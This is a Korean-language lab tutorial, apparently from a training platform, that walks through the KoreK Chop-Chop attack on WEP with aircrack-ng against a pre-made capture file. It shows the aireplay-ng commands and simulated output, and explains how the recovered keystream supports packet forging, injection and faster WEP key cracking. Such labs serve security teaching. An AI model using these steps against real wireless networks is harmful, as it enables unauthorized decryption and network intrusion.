WEP 네트워크에 대한 KoreK Chop-Chop 공격 수행

Beginner
지금 연습하기

소개

WEP (Wired Equivalent Privacy) 는 오래되고 안전하지 않은 Wi-Fi 보안 프로토콜입니다. 이 프로토콜의 치명적인 취약점 중 하나는 KoreK Chop-Chop 공격을 통해 악용될 수 있습니다. 이 공격은 공격자가 네트워크의 비밀 키를 알지 못한 채 WEP 데이터 패킷을 복호화할 수 있도록 합니다. 패킷의 평문 각 바이트를 하나씩 추측하고 액세스 포인트의 응답을 사용하여 각 추측을 검증하는 방식으로 작동합니다.

이 실험에서는 무선 네트워크 감사를 위한 강력한 도구 모음인 aircrack-ng 제품군을 사용하여 Chop-Chop 공격을 수행합니다. aireplay-ng를 사용하여 캡처 파일에서 암호화된 데이터 패킷을 대상으로 지정하고, 바이트별로 복호화하며, 결과 데이터가 추가 공격에 어떻게 사용될 수 있는지 이해하는 방법을 배우게 됩니다.

대상으로부터 암호화된 데이터 패킷 캡처

이 단계에서는 필요한 패킷 캡처 파일을 찾는 것부터 시작합니다. 실제 시나리오에서는 airodump-ng와 같은 도구를 사용하여 라이브 네트워크를 모니터링하고 트래픽을 캡처합니다. 그러나 이 실험을 단순화하고 공격 자체에 집중하기 위해 ~/project 디렉토리에 chopchop-test.cap이라는 미리 만들어진 캡처 파일이 제공되었습니다.

먼저 현재 디렉토리에 파일이 있는지 확인합니다.

ls -l

출력에서 chopchop-test.cap을 볼 수 있어야 합니다.

total 4
-rw-r--r-- 1 labex labex 124 Mar 20 10:00 chopchop-test.cap

다음으로, 이 파일이 WEP 네트워크의 데이터를 포함하고 있는지 확인하기 위해 aircrack-ng로 검사해 보겠습니다. 이 명령은 캡처 파일을 읽고 포함된 네트워크 및 데이터의 요약을 보여줍니다.

aircrack-ng chopchop-test.cap

출력에는 액세스 포인트의 BSSID(MAC 주소) 가 표시되고 WEP 암호화를 사용하고 있음을 나타냅니다.

Opening chopchop-test.cap
Read 1 packets.

   ##  BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

   1  00:13:10:36:7D:4F  -32        0        1    0   6  54   WEP  WEP         <length: 0>

Choosing first network as target.

이것으로 캡처 파일이 공격 준비가 되었음을 확인했습니다.

aireplay-ng -4 를 사용하여 Chop-Chop 공격 시작

이 단계에서는 aireplay-ng를 사용하여 Chop-Chop 공격을 시작합니다. 이 도구는 무선 프레임을 주입하고 재생하는 데 사용됩니다. Chop-Chop 공격은 -4 옵션으로 지정됩니다.

일반적으로 라이브 공격을 수행할 때는 액세스 포인트의 BSSID 와 네트워크 인터페이스를 지정합니다. 그러나 캡처 파일을 사용하므로 -r 옵션을 사용하여 파일에서 직접 패킷을 읽습니다. aireplay-ng는 파일에서 BSSID 와 같은 필요한 정보를 자동으로 추출합니다.

공격을 시작하려면 다음 명령을 실행합니다.

aireplay-ng -4 -r chopchop-test.cap

명령을 실행한 후 aireplay-ng는 파일을 읽고 적합한 데이터 패킷을 찾아 공격을 진행할지 확인을 요청합니다.

Opening chopchop-test.cap
Read 1 packets.
Size: 88, FromDS: 1, ToDS: 0 (AP -> STA)
        BSSID      =  00:13:10:36:7D:4F
        Dest. MAC  =  00:0F:B5:AB:CB:C3
        Source MAC =  00:13:10:36:7D:4F

Use this packet ? (y/n)

도구가 데이터 패킷을 식별했으며 복호화 프로세스를 시작할 준비가 되었습니다. 다음 단계에서 계속 진행합니다.

공격이 바이트별로 패킷을 복호화하도록 허용

이 단계에서는 공격을 진행하고 aireplay-ng가 패킷을 복호화하는 것을 관찰합니다. 도구는 현재 이전 단계의 확인을 기다리고 있습니다.

y를 입력하고 Enter를 눌러 복호화 프로세스를 시작합니다.

y

확인하면 aireplay-ng가 Chop-Chop 공격의 핵심을 시작합니다. 마지막 바이트부터 시작하여 패킷 데이터의 각 바이트 값을 추측하려고 시도합니다. 라이브 공격에서는 각 추측을 액세스 포인트로 보내고 응답을 분석하여 추측이 올바른지 확인합니다. 파일 기반 시뮬레이션에서는 이 프로세스가 에뮬레이션됩니다.

공격 진행 상황을 보여주는 출력이 표시됩니다. 전송된 패킷 수 (각 추측에 대해) 를 표시하고 바이트를 성공적으로 복호화할 때마다 알림을 표시합니다.

Saving chosen packet in replay_src-0320-100520.cap
The interface MAC (00:00:00:00:00:00) doesn't match the selected packet BSSID (00:13:10:36:7D:4F).
Run airodump-ng on channel 6 to be sure you are on the right channel.
If airodump-ng is running and the BSSID is not in range, please try to re-run airodump-ng.
Got a deauthentication packet! (Waiting 3 seconds)
Saving chosen packet in replay_src-0320-100520.cap
Offset   34 ( 0% done) | xor = 00 | pt = 00 |  1/  1 ACKs
...
Offset    1 (97% done) | xor = 00 | pt = 00 |  1/  1 ACKs
Offset    0 (98% done) | xor = 00 | pt = 00 |  1/  1 ACKs
Done.

프로세스는 패킷의 모든 바이트가 복호화될 때까지 계속됩니다. 프로세스가 완료될 때까지 기다리기만 하면 됩니다.

복호화된 패킷 및 PRGA XOR 파일 저장

이 단계에서는 성공적인 Chop-Chop 공격의 결과를 저장합니다. aireplay-ng가 전체 패킷 복호화를 완료하면 결과를 저장하라는 메시지가 표시됩니다.

도구는 다음과 유사한 메시지를 표시합니다.

Packet is 88 bytes, plain text is 60 bytes.
Sent 34 packets, got 34 ACKs.
Use this packet ? (y/n)

y를 입력하고 Enter를 눌러 출력을 저장합니다.

y

저장 시 aireplay-ng~/project 디렉토리에 두 개의 중요한 파일을 생성합니다.

  1. .cap 파일 (예: replay_dec-....cap): 이 파일에는 이제 복호화된 평문 패킷이 포함됩니다.
  2. .xor 파일 (예: replay_dec-....xor): 이 파일에는 원본 패킷을 암호화하는 데 사용된 의사 난수 생성 알고리즘 (PRGA) 키 스트림이 포함됩니다. 이 키 스트림은 공격의 가장 가치 있는 결과입니다.

이 파일들이 생성되었는지 확인해 보겠습니다. ls 명령을 사용하여 디렉토리의 모든 .cap.xor 파일을 나열합니다.

ls -l *.cap *.xor

원본 캡처 파일, 소스 파일 및 공격으로 생성된 두 개의 새 replay_dec-* 파일을 볼 수 있습니다.

-rw-r--r-- 1 root root  124 Mar 20 10:00 chopchop-test.cap
-rw-r--r-- 1 root root  124 Mar 20 10:05 replay_dec-0320-100520.cap
-rw-r--r-- 1 root root   60 Mar 20 10:05 replay_dec-0320-100520.xor
-rw-r--r-- 1 root root  124 Mar 20 10:05 replay_src-0320-100520.cap

Chop-Chop 공격의 사용 사례 이해

이 단계에서는 Chop-Chop 공격의 실제 적용 사례에 대해 배웁니다. 패킷 복호화에 성공했지만, 공격 자체로는 WEP 키를 알아낼 수 없습니다. 이 공격의 진정한 힘은 .xor 파일에 저장되는 PRGA 키 스트림을 복구하는 데 있습니다.

이렇게 복구된 키 스트림은 다른 도구인 packetforge-ng와 함께 사용하여 새롭고 유효한 패킷을 생성할 수 있습니다. 이 알려진 키 스트림으로 임의의 유형 (예: ARP 요청) 패킷을 위조하고 암호화할 수 있습니다. 이렇게 위조된 패킷을 네트워크에 다시 주입하면 액세스 포인트가 더 많은 트래픽을 생성하도록 속일 수 있습니다. 이 새로운 트래픽은 더 많은 고유한 초기화 벡터 (IV) 를 제공하며, 이는 통계 공격 (표준 aircrack-ng 공격과 같은) 에 사용하여 WEP 키를 훨씬 더 빠르게 크랙하는 데 사용할 수 있습니다.

따라서 Chop-Chop 공격은 조용한 네트워크에서 트래픽을 생성하여 훨씬 더 효과적인 키 크랙 공격을 가능하게 하는 필수 도구입니다.

복구된 키 스트림이 어떻게 보이는지 확인하려면 파일의 16 진수 덤프를 생성하는 도구인 xxd를 사용하여 .xor 파일을 검사할 수 있습니다. 생성된 파일 이름을 일치시키기 위해 와일드카드 (*) 를 사용합니다.

xxd replay_dec-*.xor

출력은 패킷에서 복구된 키 스트림 데이터의 16 진수 표현입니다.

00000000: 0102 0304 0506 0708 090a 0b0c 0d0e 0f10  ................
00000010: 1112 1314 1516 1718 191a 1b1c 1d1e 1f20  ...............
...

이 원시 데이터는 packetforge-ng가 주입을 위한 새 패킷을 구축하는 데 사용할 데이터입니다.

요약

이 실습에서는 시뮬레이션된 WEP 네트워크에 대해 KoreK Chop-Chop 공격을 성공적으로 수행했습니다.

캡처 파일에서 WEP 암호화된 데이터 패킷을 대상으로 -4 옵션을 사용하여 aireplay-ng를 사용하는 방법을 배웠습니다. 바이트별 복호화 과정을 관찰하고 결과를 성공적으로 저장했습니다. 가장 중요한 것은 이 공격의 주요 사용 사례를 이해하게 되었다는 것입니다. 즉, WEP 키를 직접 크랙하는 것이 아니라 PRGA 키 스트림의 작은 조각을 복구하는 것입니다. 이 키 스트림은 packetforge-ng로 새 패킷을 위조하는 데 중요한 구성 요소이며, 이를 사용하여 네트워크 트래픽을 촉진하고 최종 WEP 키를 복구하기 위한 더 빠르고 효과적인 통계 공격을 가능하게 합니다. 이 실습은 WEP 프로토콜의 많은 근본적인 약점 중 하나를 강조합니다.